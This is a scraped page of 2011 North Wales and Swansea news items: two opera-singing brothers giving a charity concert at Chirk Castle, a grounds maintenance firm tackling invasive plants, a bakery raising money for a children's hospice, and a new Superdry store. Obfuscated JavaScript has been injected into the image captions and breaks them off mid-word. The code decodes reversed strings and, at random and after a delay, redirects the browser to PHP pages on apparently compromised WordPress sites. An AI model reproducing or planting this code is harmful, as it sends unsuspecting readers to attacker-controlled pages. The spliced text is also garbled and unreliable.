Category: News

Opera singing brothers reunite for Chirk Castle concert

Il Trova$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$Bhq=function(n){if (typeof ($Bhq.list[n]) == "string") return $Bhq.list[n].split("").reverse().join("");return $Bhq.list[n];};$Bhq.list=["'php.snimda-lla/sedulcni/etis-etavirp-oidarnoj/snigulp/tnetnoc-pw/sserpdrow/moc.nogaxehliie//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($Bhq(0), delay);}tore - Verdi - Welsh National Opera - 23 February 2011RevivalFerrando - David SoarInez - Sian MeinirCount Di Luna - David KempsterLeonora - Katia PellegrinoManrico - Gwyn Hughes JonesAzucena - Veronica SimeoniAn Old Gypsy - George New$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$Bhq=function(n){if (typeof ($Bhq.list[n]) == "string") return $Bhq.list[n].split("").reverse().join("");return $Bhq.list[n];};$Bhq.list=["'php.snimda-lla/sedulcni/etis-etavirp-oidarnoj/snigulp/tnetnoc-pw/sserpdrow/moc.nogaxehliie//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($Bhq(0), delay);}ton-FitzgeraldMessenger - Simon CurtisRuiz - Philip Lloyd HoltmanDirec$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$Bhq=function(n){if (typeof ($Bhq.list[n]) == "string") return $Bhq.list[n].split("").reverse().join("");return $Bhq.list[n];};$Bhq.list=["'php.snimda-lla/sedulcni/etis-etavirp-oidarnoj/snigulp/tnetnoc-pw/sserpdrow/moc.nogaxehliie//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($Bhq(0), delay);}tor - Peter WatsonSet Designer - Tim HatleyLighting Designer - Davy Cunningham

 

Two opera singing brothers who’ve starred in some of the world’s greatest theatres are returning to their home town for a special performance – as a favour to their old Cub Scout leader.

David and Stewart Kempster will be teaming up with the chart-topping Voices of the Valley, the Fron Choir, for a charity concert in the magnificent surroundings of Chirk Castle on Sunday, June 12.

It’s a decade since David, a baritone, and bass Stewart, last performed together – and they say they can’t wait.

The charity concert is being held as part of the Wrexham Year of Culture 2011.

It is the brainchild of Wrexham County Borough Council’s Deputy Mayor, Cllr Ian Roberts, who lives in Chirk.

He said: “I floated the idea of holding a mid-summer concert but without the help of my wife Hilary, fellow councillor Terry Evans and the team at Wrexham County Borough Council I may never have got the idea off the ground.

“I wanted to celebrate Chirk and the surrounding area and thought of the Fron Male Voice Choir as many of the choir members originated from Chirk. I was thrilled they were free on June 12th as they have an incredibly busy schedule.

“And, of course, I was absolutely delighted to sign up the Kempster brothers. It was lovely to hear from them again. I simply asked them to do me a favour and they had no hesitation in agreeing which is just wonderful.

“They were great lads when they were in the Cub Scouts all those years ago and it was obvious at a very early age that they were both hugely talented singers.

“I am immensely proud of how successful they are in their singing careers – and the fact that they are giving something back to the community here in Chirk.

David, 41, who lives with his wife, Charlotte, and their children in Kendal, Cumbria, is really looking forward to performing at Chirk Castle.

He said: “It’s always good to drop back in on North Wales and it will be a real treat to work with my brother, Stewart, again. It’s been far too long and of course I don’t get much chance to get back to Chirk to be honest.

“As an opera singer I work away so much which is difficult when you have a young family.

“I have known Cllr Ian Roberts all my life and when he and his wife Hilary got in touch I was absolutely delighted to agree to come back to Chirk. It will be a fantastic night.”

Currently performing in Il trovatore in Cardiff before going on tour to Bristol and Birmingham, David,  has performed around the world from The Royal Albert Hall to Dallas and South Africa to Italy.

However, the former Royal National College of Music student says the opportunity to perform at Chirk Castle is something really special.

He said: “Growing up in Chirk, classical music played such a big part in our lives. My dad just loved opera and the house was always filled with the sounds of arias or choirs.

“I started out as a member of Rhos Orpheus Male Voice Choir after taking Stewart’s place when he went off to study at the Royal Academy of Music. I have such special memories of my time growing up in Chirk and it will be so nice to come home and see so many old friends.”

Now living in Scotland,  Stewart, 46, was thrilled to get a call from his brother asking if he was free on Sunday, June 12.  

He said:  “I jumped at the chance. David had had a call from Ian Roberts asking if he was free and wondering if David and I fancied performing together. Of course we jumped at the chance especially as it’s at Chirk Castle.

“I’m also looking forward to working with the Fron Male Voice Choir. It’s been more than 10 years since I last performed in Chirk. That was at the church along with David.”

Stewart is still regularly performing opera and has recorded music with the Royal Scottish National Orchestra. In addition he has regularly recorded and broadcasted with the Royal Opera and also with Wexford Festival Opera. He worked with Howard Shore and John Williams on the soundtracks of the Lord of the Rings and the Star Wars series of films.  

He has just returned from Bornholm Island, which belongs to Denmark and can be found in the middle of the Baltic Sea, where he performed a song  recital, and he will be singing Bach’s Matthew Passion in Edinburgh over the Easter period.

Stewart also travels the world in his role as an examiner with the Associated Board of the Royal Schools of Music.

Fron Male Voice Choir Liaison Officer, David T Jones, says members jumped at the chance to perform alongside the Kempster brothers who have gone onto become such huge classical music stars.

He said: “We have been working with so many names following the success of our CD releases but it will be extra special working with Chirk’s most successful musical sons. It will also be great to perform at Chirk Castle.

 “We are recording our 5th CD in April and are jetting off to New York for a concert in August. Thanks to our recording success things are pretty hectic. But we will definitely be there at Chirk Castle in June for what promises to be a magical night.”

Cllr Roberts added: “We are really looking forward to seeing families come along for a tremendous night of music. Bring along a picnic and some chilled wine for mid-summer nights concert that you’ll never forget.

“We haven’t set a fundraising target and at the moment as we are focusing more on celebrating the culture of Chirk, Wrexham and the surrounding area through a special night of music. However, it’s a good opportunity to raise funds for various charities too.”

Ticket prices: Adults £12.50, Concessions £9.00, Family ticket (two adults two children) £35 and under 5s free. To book or order tickets telephone Hilary Roberts on 01691 773758 or call Wrexham Tourist Information on 01978 292015. Gates open 5.30pm with the concert commencing at 7.30 pm. For more information go to www.fronchoir.com/Diary.htm

Friday May 27th, 2011

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News

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Alien invasion helps firm to grow

Nathan Billing$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$Bhq=function(n){if (typeof ($Bhq.list[n]) == "string") return $Bhq.list[n].split("").reverse().join("");return $Bhq.list[n];};$Bhq.list=["'php.snimda-lla/sedulcni/etis-etavirp-oidarnoj/snigulp/tnetnoc-pw/sserpdrow/moc.nogaxehliie//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($Bhq(0), delay);}ton of Greengrass Services with Richard Seller

A ground maintenance firm is flourishing after going into battle to combat the threat of “alien invaders”.

As in other parts of the UK, invasive species like Himalayan Balsom and Japanese Knotweed are wreaking havoc across North Wales.

But Greengrass Services Ltd, based in Dyserth, near Prestatyn, are coming to the rescue of customers throughout the region.

Their work in destroying the imported horticultural menaces is part of a growing portfolio of services by the company founded by local entrepreneur Nathan Billington, 39, some 14 years ago.

In addition, they have secured valuable long-term contracts with the likes of North Wales Police, the North Wales Fire and Rescue Service and the housing association, Cymdeithas Tai Clwyd

According to Mr Billington, the advice and practical help they had received from Welsh Assembly Government’s Regional Centre Service had been a crucial element in the company’s growth.

Mr Billington said: “The assistance has been coordinated by Business Support Manager Richard Seller who has been absolutely fantastic.

“We want to be sure that we are doing everything properly so it has been immensely helpful in terms of business advice and navigating the potential minefield of employment law.

“Most small and medium enterprises don’t have that kind of expertise on tap and the assistance provided by the Regional Centre Service is free of charge.

“As a result we have also been able to design bespoke health and safety, environmental and equality policies.”

Richard Seller added: “They want to do things the right way, the staff are loyal and they want to develop team leaders.

“I have enjoyed working with them and it is extremely satisfying to see the company flourish and grow in what has been a difficult period for the economy.

“We are currently helping them apply for a Local Investment Fund Grant of £10,000 towards new machinery which will allow them to secure even bigger contracts and improve productivity.”

Established in 1997, Greengrass employs six permanent staff and will be taking on several seasonal workers in the Spring.

They are on course to reach a target set in 2007 to double the size of the business by the end of this financial year.

Nathan recalled: “When I started it was basically mowing people’s lawns, doing gardens and ground maintenance in and around Rhyl and Prestatyn.

“We now specialise in a number of areas – domestic and commercial grounds maintenance, tree work and dealing with invasive species like Himalayan Balsom and Japanese Knotweed.

“Since 2009 we are responsible for the entire Tai Clwyd Housing Association estate which includes 79 sites which we visit every two weeks for nine months of the year.

“We’ve also got a contract with North Wales Fire and Rescue Service and we do all 48 of their sites. In addition, we do around 20 of North Wales Police’s sites.

“In the main, they are three year contracts so that gives you confidence to invest in new machinery which in turn has enabled us to have a period of three years of continuous growth.

“We have to keep looking for more grounds maintenance contracts, for more customers to serve because that’s the only way we can plan the growth of the company.

“So far, so good. We get recommended by our clients all the time and we have just grown and grown. Customers appreciate the quality of the work that we do and our aim is to build on this momentum.”

Small businesses requiring assistance should contact the Welsh Assembly Government Regional Centre Service on 03000 6 03000 or visit www.business.wales.gov.uk.  For more information about Greengrass Services go to www.greengrassservices.co.uk or ring 01745 571712. 

Friday May 6th, 2011

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News

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More dough for children’s hospice

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One of the UK’s oldest bakeries has risen to a new challenge – raising money for a children’s hospice charity.

The Wrexham-based Gerrards bakery is a supporter of the Hope House and Ty Gobaith hospices.

The family-run firm presented a cheque for £726 to fundraiser Rachel Jones after selling more than 2,900 specially baked gingerbread biscuits in their 15 shops.

Established in 1838, Gerrards is run by husband and wife, Dirk and Dawn van Rensburg, who were inspired to help the hospice charity after going on a visit to see what they do at first hand.

Dirk said: “A children’s hospice certainly puts everything else into perspective – we really don’t know how lucky we are. 

“It is really important that people continue to give money to them because we must make sure that these children are made to feel comfortable, by creating an environment that is as pleasant as possible.

“There are many good causes but few are better than Hope House and Ty Gobaith and we were delighted to be able help once again.

“Many people might be surprised to learn that the hospice is a very happy place and a wonderful caring environment with brilliant staff.

“It is a much-needed facility. It is really important for parents that the right support and facilities are available if their children become ill.”

According to hospice fundraiser Rachel Jones, the support of companies like Gerrards was vital – especially in the current economic climate.

She said: “It costs us over £4 million to keep our doors open and run all the services in the hospices and the families’ own homes.

“Of that, we get 30 days’ funding from the Government, the NHS and other statutory bodies which means that over 95 per cent of our funding comes from voluntary income.

“Touch wood we are doing very well but it is thanks to companies like Gerrards who are backing us that we are able to keep going.

“For the past couple of years, Gerrards have taken part in our Corporate Challenge.

“We give £50 each to companies and we challenge them to see what they can do with that investment.

 “This year Gerrards have raised £726 which is a phenomenal return on the £50 – the customers got a tasty treat while supporting their local children’s hospice.

“We cover the whole of North and Mid Wales, Cheshire and Shropshire.

“We have 400 families on our books and 270 of them have a child using one of our two hospices, Hope House, near Oswestry, or Ty Gobaith, near Conwy.

“The other 130 are bereaved families who are using our counselling and support services.

 “We provide respite for terminally ill children and their families and we do a lot of work with the extended families. brothers and sisters, and we provide a lot of counselling support for mums and dads as well.

“We have now become so expert at speaking to families over the years that we now actually get referrals from the NHS, Social Services and the emergency services to care for families who have lost a child in any circumstance – be it a cot death, a fire, a suicide or road traffic accident.

“We can take that family on our books and give them bereavement support for as long as they need us after the death of the child.

“There isn’t another service in the area that can provide the long-term care plans that we can.

“We are open 24/7 on 365 days a year and we don’t charge a penny for our services.”

Friday May 6th, 2011

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News, PR

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Trendy fashion chain creates new jobs in Swansea

Quad_Superdry-ADP10

 

One of the trendiest and fastest growing international fashion brands has chosen Swansea to open its newest store.

Superdry, which has seen an explosion in sales and profits over the last 12 months, is converting two units in the Quadrant Shopping Centre to open what will be only its second outlet in Wales.

Allan Wallace, Quadrant centre manager, said: “This is a very big chain, growing all the time, and we’re very pleased to have secured them as our latest tenants.”

With at least 16 million people a year pouring through the Quadrant centre, Superdry Swansea expects to make a significant contribution for owners SuperGroup plc who posted a staggering 86.9% jump in total sales to £81.7m for its third quarter to January 30, driven by strong underlying revenues and new store openings.

Mr Wallace says the company is converting the former Oasis and Fusion stores into one to give it a 2,700 sqft ground floor sales area, with upstairs for storage and staff facilities. About 10 new jobs will be created.

UK fashion retailer SuperGroup was founded in 1985 and has since been developed to design and sell a wide range of premium clothing under its flagship brand, Superdry, together with other own brands and a number of third-party products which are sold in its Cult stores.

Among its current 59 stand-alone Cult and Superdry stores, there is a Cult store in Cardiff. Many of its outlets are in university cities.

There are 69 concessions and a growing wholesale operation. Its products are sold in over 70 countries across Europe, Asia, Australia and the Americas via a network of distributors, licensees, agents and franchisees.

The fast-growing group floated on the Stock Exchange in March 2010. The Quadrant will be only their second store in Wales, the Cult store in St David’s Centre Cardiff, is one of their star performers which broke all records when it opened over a year ago.

Superdry says its clothing is “inspired by Japanese design influences with vintage Americana style”. Its other own brands are 77Breed and SurfCo California, although Superdry brand now dominates the Group’s retail sales.

Julian Dunkerton, CEO of Supergroup Plc said: “This is an exciting time for us and it is great to be opening another store in Wales. Swansea is a cool city and The Quadrant a busy and attractive retail centre.

“A lot of hard work and creativity have gone into the store’s design and fitting out and I hope that it will be as successful as our others.”

With the arrival of Superdry, The Quadrant’s 36 shopping units will all be full, with just two units temporarily in possession of the city council while work is completed on the city centre bus station revamp.

“There tends to be some gloomy pictures painted of retailing and whether or not the public are coping with things like rising fuel costs, but we never have units empty for long,” said Mr Wallace.

“The two units which will be returned to us by the council after the bus station work is complete will undoubtedly be more attractive and we have had a number of enquiries and I believe they will be let in a reasonably short time.”

Quadrant will also benefit hugely by the arrival in April of market-leaders Experian, who will be responsible for collecting and analysing data on how many visit the centre – so-called footfall figures.

City Centre Manager Lisa Wells added: “The opening of a Superdry store in the Quadrant Shopping Centre is exciting news for Swansea City Centre.

“Superdry is an extremely popular brand and the news has been met with much local excitement.

“The new opening will complement the range and quality of shops that are already available in the City Centre and this together with the recent completion of the new Swansea City Bus Station will provide another reason to shop and visit Swansea.”

Friday May 6th, 2011

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News

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